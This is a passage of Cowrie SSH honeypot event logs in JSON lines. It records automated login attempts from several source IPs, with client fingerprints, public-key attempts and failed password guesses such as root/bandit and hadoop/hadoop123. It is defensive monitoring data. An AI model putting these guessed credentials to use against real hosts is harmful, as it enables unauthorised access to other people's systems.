99:0f:77:97:51:b0:35:da:1c:02:8e:cc:c7:10:a0:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.967402Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:0f:77:97:51:b0:35:da:1c:02:8e:cc:c7:10:a0:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvG04hkm6AARlMXqoABN2YZ0qQOmQjfafLzfyudQtrs3dQJ9xRabKqJKWpvQ5H8imUSj4K62olWXnppZeIY3twgGY3QeHHYhDtO1WZyiJP2R9qZrKRWQpdlc06NEAIfiDQnTVF8VKjAuQiJa8jf/gtu8xwvof1Is0EMcUE/0HFpgxJVYZgrUgtyXa0TUrIhOVA+PasNwz5m6qNsUJyZlIUA8bx6Z/yMTjxER/mXNQf9ujq/lcibYPD94suY4DBM2VRjovd6HBQjD/1WIl8kYR4y9rLCGsuUiw6F60OwG87b/scgiHLI6Eg/qgbLrpNU2XLHZd3Yjbpxxk3fdBaJAO8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.971829Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:64:6b:ee:07:53:11:da:fd:c2:03:f8:81:e9:08:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXHKCiN80hIY5VU4OJ8K98I0CgsJwVRzTfL1WEt4v1Ute8JjBHMODZEto43Myo/kDFQHZ84Oj7orqM/U/ILwnyfSDJQCI0csi+CLH7fHi7nzq5NMVTi8/eCSqGxCANixx875BeMTxkzxWNwb1P9Daxer1ScLbLEQTdUuPGiveJ+uRFBguvMWJV0wXQ17Fjqlv89MehKwOdrJoxYqYgoRc+HX5sYiZ7Ckp8ZOtNTiOPMRhv4icpK1hXaylsdg4NQiOY7sna0GndcFDuOL3OKRWHdZJXBCzTzjQgM2FsfXtThL8qjwdcmz9Nws1OpekmZP/UBJxFQROLAF871GeTtwg9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:64:6b:ee:07:53:11:da:fd:c2:03:f8:81:e9:08:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:01.074152Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:64:6b:ee:07:53:11:da:fd:c2:03:f8:81:e9:08:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXHKCiN80hIY5VU4OJ8K98I0CgsJwVRzTfL1WEt4v1Ute8JjBHMODZEto43Myo/kDFQHZ84Oj7orqM/U/ILwnyfSDJQCI0csi+CLH7fHi7nzq5NMVTi8/eCSqGxCANixx875BeMTxkzxWNwb1P9Daxer1ScLbLEQTdUuPGiveJ+uRFBguvMWJV0wXQ17Fjqlv89MehKwOdrJoxYqYgoRc+HX5sYiZ7Ckp8ZOtNTiOPMRhv4icpK1hXaylsdg4NQiOY7sna0GndcFDuOL3OKRWHdZJXBCzTzjQgM2FsfXtThL8qjwdcmz9Nws1OpekmZP/UBJxFQROLAF871GeTtwg9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:01.078101Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:01.182326Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58630,"dst_ip":"10.17.0.5","dst_port":22,"session":"61212a5e1eb9","protocol":"ssh","message":"New connection: 51.250.105.222:58630 (10.17.0.5:22) [session: 61212a5e1eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:12.353254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:12.357617Z","src_ip":"51.250.105.222","session":"61212a5e1eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:12.480498Z","src_ip":"51.250.105.222","session":"61212a5e1eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789p","message":"login attempt [root/123456789p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:12.848979Z","src_ip":"51.250.105.222","session":"61212a5e1eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:13.974900Z","src_ip":"51.250.105.222","session":"61212a5e1eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":41566,"dst_ip":"159.203.135.109","dst_port":22,"session":"942e87ad1c14","protocol":"ssh","message":"New connection: 103.77.175.15:41566 (159.203.135.109:22) [session: 942e87ad1c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:19.992900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:19.997822Z","src_ip":"103.77.175.15","session":"942e87ad1c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:20.249784Z","src_ip":"103.77.175.15","session":"942e87ad1c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mother","message":"login attempt [root/mother] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:21.085768Z","src_ip":"103.77.175.15","session":"942e87ad1c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:22.340558Z","src_ip":"103.77.175.15","session":"942e87ad1c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":37798,"dst_ip":"159.203.135.109","dst_port":22,"session":"96ade2605a0d","protocol":"ssh","message":"New connection: 147.45.211.215:37798 (159.203.135.109:22) [session: 96ade2605a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:50.222957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:50.228597Z","src_ip":"147.45.211.215","session":"96ade2605a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:50.407494Z","src_ip":"147.45.211.215","session":"96ade2605a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456654","message":"login attempt [root/456654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:50.944368Z","src_ip":"147.45.211.215","session":"96ade2605a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:52.143220Z","src_ip":"147.45.211.215","session":"96ade2605a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40876,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b74616935a4","protocol":"ssh","message":"New connection: 109.172.54.111:40876 (159.203.135.109:22) [session: 7b74616935a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:46.388423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:46.393365Z","src_ip":"109.172.54.111","session":"7b74616935a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:46.493588Z","src_ip":"109.172.54.111","session":"7b74616935a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bandit","message":"login attempt [root/bandit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:46.791419Z","src_ip":"109.172.54.111","session":"7b74616935a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:47.893274Z","src_ip":"109.172.54.111","session":"7b74616935a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52812,"dst_ip":"159.203.135.109","dst_port":22,"session":"8943db13c7e8","protocol":"ssh","message":"New connection: 193.32.162.151:52812 (159.203.135.109:22) [session: 8943db13c7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:52.285955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:52.292850Z","src_ip":"193.32.162.151","session":"8943db13c7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:52.390796Z","src_ip":"193.32.162.151","session":"8943db13c7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:52.805043Z","src_ip":"193.32.162.151","session":"8943db13c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:58:53.925104Z","src_ip":"193.32.162.151","session":"8943db13c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":36594,"dst_ip":"10.17.0.5","dst_port":22,"session":"662164f756e6","protocol":"ssh","message":"New connection: 104.236.66.186:36594 (10.17.0.5:22) [session: 662164f756e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.266772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.278604Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.285538Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:3c:ca:78:63:69:2b:1f:23:b3:ec:56:ea:33:81:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV5z2b5QaWgTYmXq7YKbPOh/glxLJtB+GlanqumLzV9Digudhz/65xWleFRc4QdkG06da58ME3e7dGfZSIr7hFZFfn+9kM0Slx8cQsfllEUD/ziGpcUBMGizfjYx7FSaGGqrLD4Kn5WSulpFHWUWWuCEPKqRyiuoFnRz3MI9lNWGrXZJVueN0WhEqSzSvjjt6RyULU/KrU6YMG6hS/Mv9Q++F/SFhvsyYxGlN0I2h4liIN4V+YYwWDvJpmPN04vh1EQ31wiShSklw2WJJ5TxPh5TcYpuz46jslb72juqjzxwbpRYhGY+R8gVnAlSGrCJCXm4DVL0SxVjthiVkMIDo1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:3c:ca:78:63:69:2b:1f:23:b3:ec:56:ea:33:81:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.300102Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:3c:ca:78:63:69:2b:1f:23:b3:ec:56:ea:33:81:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV5z2b5QaWgTYmXq7YKbPOh/glxLJtB+GlanqumLzV9Digudhz/65xWleFRc4QdkG06da58ME3e7dGfZSIr7hFZFfn+9kM0Slx8cQsfllEUD/ziGpcUBMGizfjYx7FSaGGqrLD4Kn5WSulpFHWUWWuCEPKqRyiuoFnRz3MI9lNWGrXZJVueN0WhEqSzSvjjt6RyULU/KrU6YMG6hS/Mv9Q++F/SFhvsyYxGlN0I2h4liIN4V+YYwWDvJpmPN04vh1EQ31wiShSklw2WJJ5TxPh5TcYpuz46jslb72juqjzxwbpRYhGY+R8gVnAlSGrCJCXm4DVL0SxVjthiVkMIDo1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.307591Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:af:20:a4:68:e6:32:d0:53:38:b6:19:55:2f:17:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfCwml0kSG7AS5ButDgSMlgft6yLlQxBXz2DIrdzlDGsWgyGLKmUITcFQtDFwxOi7a9IBDUVrBOQkIaKbEYnLhTtakmYFWJxkOLRZp5SX1ogxAL4+fGZOriAQqVBlLMBwekXAVURthbjeJpRmz7tYSecTO2C/s2H+5ukno8dhO8bjyRmVJnJ9KZhFw67BG4eo+PAbJ4a9QnfmRkdnjpVCM3T35ooRadDSh0tAycAaFJSDttgaKhAjGs2NTb+3R5TJ3xvuiEV3tTRBOWFZZhm4ZTY7sip7l8WVhujSUY2kYanWNCMSF/z7mKTOjsln2thd82zODPNFKzQtzIF3YKxJTisW0b6PjGYGNza3VTUpi4uaFs0vklCqlB+d6ReiJbogJ2sE62eKdnCY74YaJrRbuEnkNEdZOVT8495s9HC3RcQJ7MF+jJJhWI9gdYrDWwGIvgfBgh4RG77uN38R6lUvRi4gDiW/zZPNZU+LEQ7YE7LcIuZ2YWZddz58C4zjnxKNbxmK81vorOhKFqh8fvKOxkOw/mhyh+VS9gE9+xcr9QJfvTh14VORmPxZty1IA5fKLir8RRNn3zEx57v0mmoURUzq4N2GrIC8Ssi9cZaOYZUo/2lM8Owyy6yYVup+kW4BtfwnYNGESulSgrPH+ZtIIs1w/YOWMYWNoMAVTCG9k/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:af:20:a4:68:e6:32:d0:53:38:b6:19:55:2f:17:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.315963Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
